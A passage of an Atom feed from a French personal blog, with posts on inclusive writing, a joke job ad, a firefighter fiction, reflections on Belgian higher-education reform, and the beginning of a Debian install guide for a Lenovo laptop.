&lt;p&gt;utiliser le féminin et le masculin&lt;br&gt;
&lt;em&gt;Nous rappelons à tou·tes les étudiant·es que les laboratoires sont obligatoires.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;L&amp;rsquo;horaire des examens est disponible pour tous les étudiants et toutes les étudiantes&lt;/em&gt;… ou plus simplement &lt;em&gt;L&amp;rsquo;horaire des examens est disponible.&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ce type d&amp;rsquo;écriture est une proposition et il y en a plusieurs interprétations ou, tout au moins, différentes utilisations.&lt;/p&gt;
&lt;p&gt;Par exemple, pour l&amp;rsquo;usage des pronoms, certain·es préfèreront &lt;em&gt;il·elle&lt;/em&gt; et d&amp;rsquo;autres n&amp;rsquo;hésiteront pas à écrire &lt;em&gt;iel&lt;/em&gt;. &lt;em&gt;celui·celle&lt;/em&gt;, &lt;em&gt;cellui&lt;/em&gt;. &lt;em&gt;ceux·celles&lt;/em&gt;, &lt;em&gt;celleux&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Pour la marque du pluriel, je préfère écrire &lt;em&gt;certain·es&lt;/em&gt; que &lt;em&gt;certain·e·s&lt;/em&gt; en utilisant simplement l&amp;rsquo;ajout d&amp;rsquo;un &lt;em&gt;s&lt;/em&gt; et pas de &lt;em&gt;·s&lt;/em&gt; pour le pluriel.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, je me fais très bien à l&amp;rsquo;usage des terminaisons en &lt;em&gt;point médian&lt;/em&gt; mais j&amp;rsquo;ai plus de mal à écrire &lt;em&gt;iel&lt;/em&gt;. Nous verrons à l&amp;rsquo;usage comme dirait l&amp;rsquo;autre:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;C&amp;rsquo;est l&amp;rsquo;usage qui fait la langue.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo, photo personnelle. &lt;a href="https://twitter.com/NaomiHalll/status/912402568365723648"&gt;Ce tweet&lt;/a&gt; — qui n&amp;rsquo;a rien compris à l&amp;rsquo;écriture inclusive — présentant une fable de la fontaine en écriture inclusive — alors que dans ce cas de figure, elle n&amp;rsquo;a pas lieu d&amp;rsquo;être — a été le déclencheur de cet article.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Sous linux avec une &lt;a href="http://namok.be/blog/?post/2012/08/22/bepo-enfin-le-respect-de-mes-bonnes-resolutions"&gt;disposition de clavier bépo&lt;/a&gt; — je sais que je touche 4 personnes seulement… mais qui me lisent (ah ah) — le point médian se fait simplement avec &lt;em&gt;[AltGr][Shift].&lt;/em&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;En France certain·es espèrent voir féminin/masculin plutôt que l&amp;rsquo;inverse. Je pense qu&amp;rsquo;en Belgique, on s&amp;rsquo;en inquiète moins car l&amp;rsquo;on voit tout autant flamand/wallon que wallon/flamand…&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Dans le futur (oui, je relis parfois mes billets), on hésitera pas à écrire &lt;strong&gt;collaborateurices&lt;/strong&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>On recherche un·e barbu·e</title><link href="http://blog.namok.be/2017-08-22-on-recherche-un-e-barbu-e.html" rel="alternate"/><published>2017-08-22T00:00:00+02:00</published><updated>2017-08-22T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-08-22:/2017-08-22-on-recherche-un-e-barbu-e.html</id><summary type="html">On recherche un·e barbu·e</summary><content type="html">&lt;p&gt;&lt;img alt="bermuda-clem-onojeghuo-277043-1200.jpg" src="/images/bermuda-clem-onojeghuo-277043-1200.jpg" title="bermuda-clem-onojeghuo-277043-1200.jpg, août 2017"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Recherche barbu.&lt;/p&gt;
&lt;p&gt;Au sein d&amp;rsquo;une équipe d&amp;rsquo;hommes barbus et aux cheveux longs et dans un environnement à forte composante linux, vous évoluez dans un contexte dit &lt;em&gt;sysadmin&lt;/em&gt;. Votre tâche principale est de vous assurer que les services fournis aux clients par notre société soient fonctionnels.&lt;/p&gt;
&lt;p&gt;Vous avez non seulement des compétences en linux — vous pouvez faire un &lt;em&gt;ls&lt;/em&gt; voire un &lt;em&gt;ps&lt;/em&gt; — mais aussi en PHP, MySQL, PostgreSQL, apache etc. Vous êtes &lt;em&gt;frontend&lt;/em&gt; / &lt;em&gt;backend&lt;/em&gt;, &lt;em&gt;LAMP&lt;/em&gt;. Vous parlez le français et le néerlandais ainsi que l&amp;rsquo;anglais. L&amp;rsquo;indien est un plus.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;— Elle est pas belle mon annonce ?&lt;br&gt;
— …&lt;br&gt;
— Quoi ?&lt;br&gt;
— Franchement, elle est un peu trop &lt;em&gt;nineties&lt;/em&gt;. Je trouverais une formulation plus inclusive. Tu vois, en utilisant le &lt;em&gt;point médian&lt;/em&gt; par exemple !&lt;br&gt;
— Ouais, t&amp;rsquo;as raison. Je reformule.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Recherche barbu·e.&lt;/p&gt;
&lt;p&gt;Au sein d&amp;rsquo;une équipe d&amp;rsquo;informaticien·nes en bermuda et dans un environnement à forte composante linux, vous évoluez dans un contexte dit &lt;em&gt;sysadmin&lt;/em&gt;. Votre tâche principale est de vous assurer que les services fournis aux clients par notre société soient fonctionnels.&lt;/p&gt;
&lt;p&gt;Vous avez non seulement des compétences en linux — vous pouvez faire un &lt;em&gt;ls&lt;/em&gt; voire un &lt;em&gt;ps&lt;/em&gt; — mais aussi en PHP, MySQL, PostgreSQL, Rails, React heu non plutôt Vue.js, apache et nginx et tous les trucs à la mode &lt;em&gt;frontend&lt;/em&gt; / &lt;em&gt;backend&lt;/em&gt;, &lt;em&gt;fullstack&lt;/em&gt;, &lt;em&gt;openstack&lt;/em&gt;, &lt;em&gt;cequetuveuxstack&lt;/em&gt;. Inutile de parler plein de langues, l&amp;rsquo;anglais et le dialecte du coin suffiront.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;— C&amp;rsquo;est mieux ?&lt;br&gt;
— Tu supprimes le &lt;em&gt;barbu·e&lt;/em&gt; parce que je ne pense pas que ça plaise et c&amp;rsquo;est parfait !&lt;/p&gt;
&lt;p&gt;Sur ce, c&amp;rsquo;est décidé, je vais au boulot en bermuda… et demain je me rase… ou pas.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Petit post « juste pour rire ». Crédit photo de &lt;a href="https://unsplash.com/@clemono2"&gt;Clem Onojeghuo&lt;/a&gt; chez Unsplash&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>On cherche des volontaires, oui mais !</title><link href="http://blog.namok.be/2017-07-02-on-cherche-des-volontaires-oui-mais.html" rel="alternate"/><published>2017-07-02T00:00:00+02:00</published><updated>2017-07-02T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-07-02:/2017-07-02-on-cherche-des-volontaires-oui-mais.html</id><summary type="html">On cherche des volontaires, oui mais !</summary><content type="html">&lt;p&gt;&lt;img alt="billowing_smoke_3_by_eleutheria_stock-d8ngud7-contrast-cut.jpg" src="/images/billowing_smoke_3_by_eleutheria_stock-d8ngud7-contrast-cut.jpg" title="billowing_smoke_3_by_eleutheria_stock-d8ngud7-contrast-cut.jpg, juil. 2017"&gt;&lt;/p&gt;
&lt;p&gt;Seul dans la maison depuis quelques minutes, la tension retombe.&lt;/p&gt;
&lt;p&gt;Léa, ma femme, est partie avec les enfants, Jean-Kevin et Augustin. Elle voulait aller rapidement au marché du dimanche matin sans les enfants. Ils déjeunaient en pyjama lorsque j&amp;rsquo;ai rappelé à Léa que j&amp;rsquo;étais disponible pour les pompiers. Je ne peux donc pas rester seul avec les enfants. Augustin n&amp;rsquo;a que deux ans. Il est trop petit pour rester seul s&amp;rsquo;il s&amp;rsquo;avère que je doive partir. Terminer de déjeuner, s&amp;rsquo;habiller… Il est 11h quand les enfants sont enfin prêts pour accompagner leur maman au marché. Léa est énervée de partir si tard. Les enfants n&amp;rsquo;ont pas envie d&amp;rsquo;y aller. Et moi, je sens bien que j&amp;rsquo;aurais dû me mettre indisponible mais je sais que le Dimanche matin nous ne sommes pas très nombreux. Et puis, ça fait longtemps que l&amp;rsquo;on n&amp;rsquo;a plus été au feu avec l&amp;rsquo;équipe. Bref, on s&amp;rsquo;est engueulé.&lt;/p&gt;
&lt;p&gt;En buvant mon café, je regarde par la fenêtre. Tiens, au loin j&amp;rsquo;aperçois une colonne de fumée. Heureux hasard de l&amp;rsquo;histoire. Ça doit être à hauteur de Beauvillage. Je pose mon café, enfile mes chaussures… mon bip va sonner.&lt;/p&gt;
&lt;p&gt;Rien.&lt;/p&gt;
&lt;p&gt;Jadis pour un feu, toute l&amp;rsquo;équipe était bipée. Depuis que l&amp;rsquo;ordinateur choisit, il est possible que je ne sois pas sélectionné par le programme. C&amp;rsquo;est bizarre quand même car le camion devrait passer devant la maison et je n&amp;rsquo;entends pas les sirènes.&lt;/p&gt;
&lt;p&gt;Depuis que le dispatching est devenu zonal, il n&amp;rsquo;y a plus quelqu&amp;rsquo;un que je pourrais appeler à la caserne pour avoir des nouvelles.&lt;/p&gt;
&lt;p&gt;Prêt. Disponible. J&amp;rsquo;attends.&lt;/p&gt;
&lt;p&gt;Dix minutes maintenant, je n&amp;rsquo;y tiens plus, je vais voir. Sur place, je vois l&amp;rsquo;autopompe et la citerne d&amp;rsquo;un corps voisin et la maison bien en feu. Notre autoéchelle est sur place avec 3 collègues. Ils me disent que nous n&amp;rsquo;étions que 5 pompiers dispos. Il faut 6 pompiers pour un premier départ. Quand c&amp;rsquo;était un humain qui bippait les hommes, nous serions partis à 5 et nous aurions limité les dégâts sur place au mieux. L&amp;rsquo;ordinateur s&amp;rsquo;en fiche, il veut 6 hommes.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;étais disponible et je n&amp;rsquo;ai pas été bippé.&lt;br&gt;
Léa et moi nous sommes engueulés pour rien ce matin.&lt;br&gt;
On cherche des volontaires qui disaient et c&amp;rsquo;est très démotivant.&lt;br&gt;
Putain d&amp;rsquo;algorithme…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Cette histoire est une fiction qui tente de raconter la difficulté pour les pompiers volontaires de rester motivés. Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://eleutheria-stock.deviantart.com/art/Billowing-Smoke-3-523146427"&gt;Elizabeth&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Le paysage. De la base aux dirigeants</title><link href="http://blog.namok.be/2017-06-14-le-paysage-de-la-base-aux-dirigeants.html" rel="alternate"/><published>2017-06-14T00:00:00+02:00</published><updated>2017-06-14T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-06-14:/2017-06-14-le-paysage-de-la-base-aux-dirigeants.html</id><summary type="html">Réflexions, craintes et questionnements face à la mise en place difficile du décret paysage.</summary><content type="html">&lt;p&gt;&lt;img alt="jeremy-bishop-256596-1400x.jpg" src="/images/jeremy-bishop-256596-1400x.jpg" title="jeremy-bishop-256596-1400x.jpg, juin 2017"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Réflexions, craintes et questionnements face à la mise en place difficile du décret paysage après quelques années d’usage. Si un ministre passe par ici, qu&amp;rsquo;il n&amp;rsquo;hésite pas à répondre aux questions.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Chaque année, nous consacrons quelques jours rassemblant tous les collègues de l&amp;rsquo;école afin de réfléchir à nos pratiques pédagogiques. Cette année, trois ans après la mise en place du décret paysage, nous constatons que ces journées de réflexion sont en majeure partie consacrée à la mise en place correcte dudit décret.&lt;/p&gt;
&lt;p&gt;Nous avons parfois l&amp;rsquo;impression de nous perdre dans l&amp;rsquo;adaptation des grilles de cours pour qu&amp;rsquo;elles s’adaptent aux exigences du décret et à l&amp;rsquo;esprit du décret, qu&amp;rsquo;elles permettent la mise en place d’horaires compatibles avec les divers parcours personnalisés, qu&amp;rsquo;elles offrent une cohérence pédagogique, qu&amp;rsquo;elles pénalisent le moins possible les étudiants dans leur &lt;em&gt;finançabilité&lt;/em&gt; et qu&amp;rsquo;elles permettent la diversité des parcours personnalisés tout en assurant leur sens et leur praticabilité.&lt;/p&gt;
&lt;h3&gt;Des cours aux unités d’enseignements&lt;/h3&gt;
&lt;p&gt;Nous avons réfléchi longuement en son temps pour proposer des grilles de cours qui permettent d’offrir une formation à la fois large et pointue. Une formation qui donne aux étudiants sortants le bagage que nous estimons nécessaire pour qu&amp;rsquo;ils soient performants d’une part et puissent s’épanouir en tant qu&amp;rsquo;informaticien d’autre part.&lt;/p&gt;
&lt;p&gt;Lors de la sortie du décret paysage nous nous sommes réunis pour repenser ces grilles de cours. Il fallait&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;quadrimestrialiser&lt;/em&gt; les cours pour qu&amp;rsquo;un module se donne en 12 semaines;&lt;/li&gt;
&lt;li&gt;rassembler éventuellement des cours pour qu&amp;rsquo;ils deviennent des unités d’enseignement parce qu&amp;rsquo;ils forment déjà un ensemble pédagogique et poursuivent des objectifs communs;&lt;/li&gt;
&lt;li&gt;s’arranger pour que les unités d’enseignements soient des multiples de 5 ECTS &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;voire 6 mais, pour sûr, pas moins.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ce fut facile pour certains cours.&lt;/p&gt;
&lt;p&gt;Les cours d’analyse, d’algorithmique, de langage de programmation ont rapidement pu être rassemblés pour proposer des unités d’enseignement de développements. Nous proposons DEV1, DEV2, DEV3… se donnant à chaque quadrimestre. C’est cohérent.&lt;/p&gt;
&lt;p&gt;Pour les cours plus généraux la mise en commun des mathématiques et de l&amp;rsquo;anglais — devenu pour la bonne cause cours de communication anglophone de l&amp;rsquo;informaticien — partait d’une bonne intention mais a posé pas mal de soucis notamment en terme d’évaluation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Que faire d’un étudiant ayant de bons résultats en mathématiques et de très mauvais en anglais ?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Certaines unités d’enseignements (UEs) sont devenues complètement intégrées alors que d’autres non. Les UEs complètement intégrées tentent de distinguer le moins possible les différentes matières qui la constituent tandis que les autres unités d’enseignements sont clairement constituées d’activités d’apprentissage « différentes ». Les unités d’enseignements artificielles ne pouvaient pas être intégrées. Il faut bien sûr distinguer les mathématiques de l&amp;rsquo;anglais par exemple.&lt;/p&gt;
&lt;p&gt;Nous avons donc deux types d’unités d’enseignements différentes; les unités intégrées et les autres.&lt;/p&gt;
&lt;p&gt;Après ces trois ans de mise en œuvre, nous avons, d’une part, renforcé l&amp;rsquo;intégration des UEs intégrées et, d’autres part, (re)scindé les UEs artificielles.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Est-ce la bonne manière de faire ?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;De l&amp;rsquo;évaluation aux différents reports&lt;/h3&gt;
&lt;p&gt;Lors de l&amp;rsquo;évaluation des UEs, il est facile de dire qu&amp;rsquo;une UE complètement intégrée ne donne qu&amp;rsquo;une seule note et cette note ne provient que d’une seule épreuve (même si l&amp;rsquo;épreuve a lieu en plusieurs fois). Dès lors que l&amp;rsquo;UE est ratée, ce sont toutes les activités d’apprentissages (AAs) qui la constituent qu&amp;rsquo;il faut représenter. Si elle est réussie… elle est réussie. L&amp;rsquo;avantage — du point de vue de l&amp;rsquo;étudiant — est qu&amp;rsquo;il est possible de réussir une UE avec un 0 dans une AA. L&amp;rsquo;inconvénient c&amp;rsquo;est que dès que l&amp;rsquo;UE n&amp;rsquo;est pas réussie ce sont toutes les AAs qu&amp;rsquo;il faut représenter… même si l&amp;rsquo;étudiant est très bon dans l&amp;rsquo;une d&amp;rsquo;entre elle.&lt;/p&gt;
&lt;p&gt;Pour une UE non intégrée, il est possible de réussir une AA et pas l&amp;rsquo;autre. Dans ce cas, certaines AAs constituant l’UE sont acquises et d’autres non. Peut-on reporter ces notes ? Le décret précise que oui.&lt;/p&gt;
&lt;p&gt;Certains étudiants se retrouvent dans une situation telle que plusieurs UEs sont ratées et pour chacune de ces UEs ratées, une seule AA est ratée tandis que les autres sont réussies. Le report de plusieurs AAs donne un horaire très léger à ces étudiants. Et nous savons pertinemment bien qu&amp;rsquo;un horaire léger favorise le décrochage.&lt;/p&gt;
&lt;p&gt;De plus ce système impose la mise en place d’un archivage des notes d’AAs qui ne sont — à priori — pas encodées puisque non pertinentes lors de la délibération.&lt;/p&gt;
&lt;p&gt;Actuellement, les logiciels d’encodage des cotes ne sont pas prêts à recevoir les cotes des AAs. Seules les cotes d’UEs sont encodées.&lt;/p&gt;
&lt;p&gt;Avec notre approche des UEs d’enseignements coordonnées et données à plusieurs enseignants. Il n’est pas rare que le coordinateur de cours doive rassembler les cotes d’une dizaine de professeurs différents, les conserver et les valoriser d’une année à l&amp;rsquo;autre. Outre la surcharge administrative, c’est une source d’erreur supplémentaire. Déjà lorsque le coordinateur reste en place et c’est donc pire lorsqu&amp;rsquo;il change.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Faut-il aller vers une intégration complète de toutes les UEs — en scindant celles qui ne s’intègre pas — afin de ne pas devoir gérer le problème des reports d’AAs ?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Des prérequis aux &lt;em&gt;corequis&lt;/em&gt; en passant par les &lt;em&gt;postrequis&lt;/em&gt; et les &lt;em&gt;jamaisrequis&lt;/em&gt;&lt;/h3&gt;
&lt;p&gt;Pour offrir la meilleure cohérence pédagogique possible et mettre en place un maximum de références transversales nous serions poussés à imposer de nombreux prérequis ou corequis. Nous trouvons que cela va à l&amp;rsquo;encontre de l&amp;rsquo;esprit du décret en limitant drastiquement les parcours possibles.&lt;/p&gt;
&lt;p&gt;Pour laisser l&amp;rsquo;étudiant prendre en main son apprentissage et en être responsable — mais est-il préparé à cette autonomie — nous préférons ne pas imposer de prérequis ou de postrequis et faire confiance à son bon sens. En effet quel est l&amp;rsquo;intérêt de s’inscrire à une unité d’enseignement UE2 qui fait clairement apparaitre qu&amp;rsquo;elle est la suite de l&amp;rsquo;unité d’enseignement UE1 ? Ceci sans que UE1 ne soit prérequis de UE2.&lt;/p&gt;
&lt;p&gt;Nous voulons à la fois faire confiance aux étudiants et maintenir un bon contact avec l&amp;rsquo;entreprise qui accueille nos étudiants en stage.&lt;/p&gt;
&lt;p&gt;C’est pourquoi, il nous semble important de limiter l&amp;rsquo;accès aux épreuves de fin de cycle (TFE, stages…) aux étudiants ayant déjà acquis une majorité des UEs de la formation. Ce dernier critère est difficile à mettre en œuvre sans contraindre une partie non négligeable des étudiants à ne pouvoir inscrire qu&amp;rsquo;un très faible nombre d&amp;rsquo;&lt;em&gt;ects&lt;/em&gt; à leurs parcours.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Avez-vous des lignes de conduite pour choisir efficacement quelles UEs sont les prérequis / corequis de quelles autres ?&lt;/em&gt;&lt;/strong&gt; &lt;/p&gt;
&lt;h3&gt;Les horaires de cours&lt;/h3&gt;
&lt;p&gt;Les programmes de l&amp;rsquo;étudiant deviennent personnalisés, les enseignants changent parfois d’attribution ou de charge, le nombre d’étudiants par filière évolue… Tout ça nous amène à repenser les horaires et la manière de les concevoir.&lt;/p&gt;
&lt;p&gt;La question de réorganiser &lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; des modules du premier quadrimestre au second quadrimestre se pose et nous le faisons pour la première unité d’enseignement de développement par exemple. Ces cours supplémentaires doivent être donnés par des enseignants dont les attributions vont changer et cette réorganisation aura, &lt;em&gt;in fine&lt;/em&gt;, un impact sur la taille des groupes et donc sur l&amp;rsquo;encadrement des étudiants. Ces réorganisations éventuelles d’UEs influencent le parcours proposé et le décret paysage ne peut pas occulter le fait qu&amp;rsquo;une formation s’étale sur plusieurs années et que certains modules doivent venir avant d’autres.&lt;/p&gt;
&lt;p&gt;Des étudiants au parcours individuel différent que le parcours proposé ne peuvent pas participer à toutes les UEs de leur programme. Et certaines d’entre elles ont une évaluation continue. Une évaluation continue implique que la note de l&amp;rsquo;activité est construite au fil des semaines. Une étudiant absent ne peut pas construire cette note. La CAVP ne trouvant parfois pas un parcours mieux adapté, l&amp;rsquo;étudiant sait, avant de commencer, qu&amp;rsquo;il va rater l&amp;rsquo;UE en question.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Comment faire des horaires de cours qui permettent à la fois aux étudiants et aux enseignants de s’épanouir ou simplement de survivre ?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Les jurys et la délibération souveraine.&lt;/h3&gt;
&lt;p&gt;Les délibérations ont changés.&lt;/p&gt;
&lt;p&gt;Pour être juste avec les étudiants, à défaut d’être humain ce qui est plus subjectif, nous nous étions fixés des règles de « cadeaux automatiques ». Dès lors qu&amp;rsquo;un étudiant a quinze cours, et une moyenne supérieure à douze, il peut bénéficier automatiquement de 3 points de balance. Un 7, un 8 et un 9 ou trois 9.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Faut-il continuer à faire des cadeaux et valider des crédits qui ne sont pas acquis ou s’en tenir à la règle stricte du seuil à 10/20 sans se poser de question ? Comme un algorithme.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;heure des unités d’enseignements, des activités d’apprentissage sont évaluées séparément pour former une cote d’UE. Les enseignants d’une UE peuvent se concerter et décider de modifier leur cotes afin qu&amp;rsquo;elle atteigne le seuil.&lt;/p&gt;
&lt;p&gt;C’est compréhensible pour un 49,5/50, un 49… un 48… à la discrétion de l&amp;rsquo;équipe d’enseignants en charge des AAs constitutives de cette UE. Léger, certes, mais c’est un premier cadeau.&lt;/p&gt;
&lt;p&gt;Lors de la délibération, le jury — souverain comme aime à le rappeler le décret — peut décider d’accorder des crédits non acquis. Sous quelles conditions ? Le jury a une vue du parcours annuel de l&amp;rsquo;étudiant. Est-ce suffisant ?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Faut-il ouvrir les UEs — non intégrées — et voir les cotes des AAs qui les constitues lors de la délibération ?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Voici les quelques réflexions issues des quelques jours de mise au vert annuelle. Nous essayons chaque jour que notre enseignement soit un « enseignement paysage » où tout le monde s’y retrouve; étudiants, enseignants, administratifs, parents, partenaires en entreprise… et c’est une gageure.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo par &lt;a href="https://unsplash.com/?photo=DRKknUyra0Y"&gt;Jérémy Bishop&lt;/a&gt; chez Unsplash. Un phare dans les nuages… peut-être nous guidera-t-il ?&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Beaucoup s’étonnent aujourd’hui de cette contrainte précisant qu&amp;rsquo;elle n’apparait nulle part. C’est exact aujourd’hui. Hier par contre, l&amp;rsquo;interprétation du décret était telle que nous pensions que tel était l&amp;rsquo;exigence. (&lt;a href="http://dll.ulb.ac.be/wp-content/uploads/2012/03/D%C3%A9cret-Marcourt.pdf"&gt;Source à l&amp;rsquo;ulb&lt;/a&gt; et dans cette même ULB &lt;a href="http://www.bemulb.be/fiche-infos/etudes/143-topo-pour-la-premiere-annee"&gt;à la faculté de médecine&lt;/a&gt;)&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Réorganiser a ici le sens de: « organiser à nouveau » c’est-à-dire de donner — de manière différente peut-être — une seconde fois dans l&amp;rsquo;année la même UE pour les étudiants qui l’aurait ratée.&amp;#160;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Installation Lenovo ThinkPad X Carbon 14</title><link href="http://blog.namok.be/2017-06-12-install-lenovo-xcarbon.html" rel="alternate"/><published>2017-06-12T00:00:00+02:00</published><updated>2017-06-12T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2017-06-12:/2017-06-12-install-lenovo-xcarbon.html</id><summary type="html">Installation Lenovo ThinkPad X Carbon 14</summary><content type="html">&lt;p&gt;&lt;img alt="machineecrire-madeira-1200x_Photo d'une toute vielle machine à écrire prise à Madère. Le nouveau laptop est un peu plus récent._" src="/images/machineecrire-madeira-1200x.jpg"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai acheté un Lenovo en décembre dernier pour ma femmme et &lt;a href="2016-12-12-install-lenovo-thinkpad-13.html"&gt;l&amp;rsquo;installation s&amp;rsquo;est passée sans aucun problème&lt;/a&gt;. Une installation linux en 2017 n&amp;rsquo;a rien à voir avec une installation linux en 1995 !&lt;/p&gt;
&lt;p&gt;Fini le CD d&amp;rsquo;install, une clé USB toute petite fait l&amp;rsquo;affaire. Avec les connections réseaux actuelles, je recommande de ne télécharger que &lt;code&gt;mini.iso&lt;/code&gt; qui fait moins de 300Mb.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Toute ressemblance avec l&amp;rsquo;installation du Lenovo 13 n&amp;rsquo;est pas fortuite, je me cite.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;La première chose à faire est de se procurer une version de &lt;em&gt;debian&lt;/em&gt; que l&amp;rsquo;on pourra installer sur sa machine. Le plus simple est d&amp;rsquo;utiliser une (vielle) clé usb… sans trop d&amp;rsquo;espace disponible&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Pour télécharger l&amp;rsquo;iso, ça se passe &lt;a href="https://www.debian.org/distrib/netinst"&gt;sur le site de Debian&lt;/a&gt;. En bas à droite, vous avez la section &lt;em&gt;network boot&lt;/em&gt; et vous choisissez votre architecture; &lt;em&gt;i386&lt;/em&gt; ou &lt;em&gt;amd&lt;/em&gt; ou… Vous pouvez télécharger le fichier &lt;em&gt;mini.iso&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;La copie de l&amp;rsquo;iso sur la clé est très simple&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cp&lt;span class="w"&gt; &lt;/span&gt;/elsewhere/mini.iso&lt;span class="w"&gt; &lt;/span&gt;/dev/sdb&lt;span class="w"&gt; &lt;/span&gt;sync
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Sur la machine à installer:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;allumer et entrer dans le BIOS / UEFI pour désactiver &lt;em&gt;secure boot&lt;/em&gt; ( &lt;em&gt;disable secure boot&lt;/em&gt; ou bien autoriser &lt;em&gt;legacy boot&lt;/em&gt;). Chez lenovo, il faut appuyer sur &lt;strong&gt;F1&lt;/strong&gt;;&lt;/li&gt;
&lt;li&gt;sauvegarder et continuer;&lt;/li&gt;
&lt;li&gt;choisir de booter sur la clé USB en appuyant sur &lt;strong&gt;F12&lt;/strong&gt; pour obtenir les choix de boot;&lt;/li&gt;
&lt;li&gt;… et se laisser guider par l&amp;rsquo;installeur debian.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Personnellement, je le laisse se connecter automatiquement au réseau, je formate le disque entier — je ne vois même pas le logo MS Windows, je choisis XFCE comme environnement et « serveur ssh » et je le laisse tranquille… en rédigeant cette note pour mes archives.&lt;/p&gt;
&lt;p&gt;Au premier boot, je fais ces quelques tâches:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;remplacement de &lt;em&gt;network-manager&lt;/em&gt; par &lt;em&gt;wicd&lt;/em&gt;;&lt;/p&gt;
